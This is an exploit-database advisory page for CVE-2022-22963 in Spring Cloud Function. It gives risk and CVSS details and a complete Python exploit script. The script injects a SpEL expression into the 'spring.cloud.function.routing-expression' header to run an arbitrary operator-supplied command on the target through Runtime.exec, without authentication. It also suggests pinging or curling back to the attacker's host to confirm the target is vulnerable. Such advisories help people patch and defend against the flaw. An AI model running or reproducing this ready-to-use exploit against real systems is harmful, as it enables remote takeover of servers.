Spring Cloud 3.2.2 Remote Command Execution (RCE)

2023.07.15
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE) # Date: 07/07/2023 # Exploit Author: GatoGamer1155, 0bfxgh0st # Vendor Homepage: https://spring.io/projects/spring-cloud-function/ # Description: Exploit to execute commands exploiting CVE-2022-22963 # Software Link: https://spring.io/projects/spring-cloud-function # CVE: CVE-2022-22963 import requests, argparse, json parser = argparse.ArgumentParser() parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True) parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True) args = parser.parse_args() print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n") headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command } data = {"data": ""} request = requests.post(args.url, data=data, headers=headers) response = json.dumps(json.loads(request.text), indent=2) print(response)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top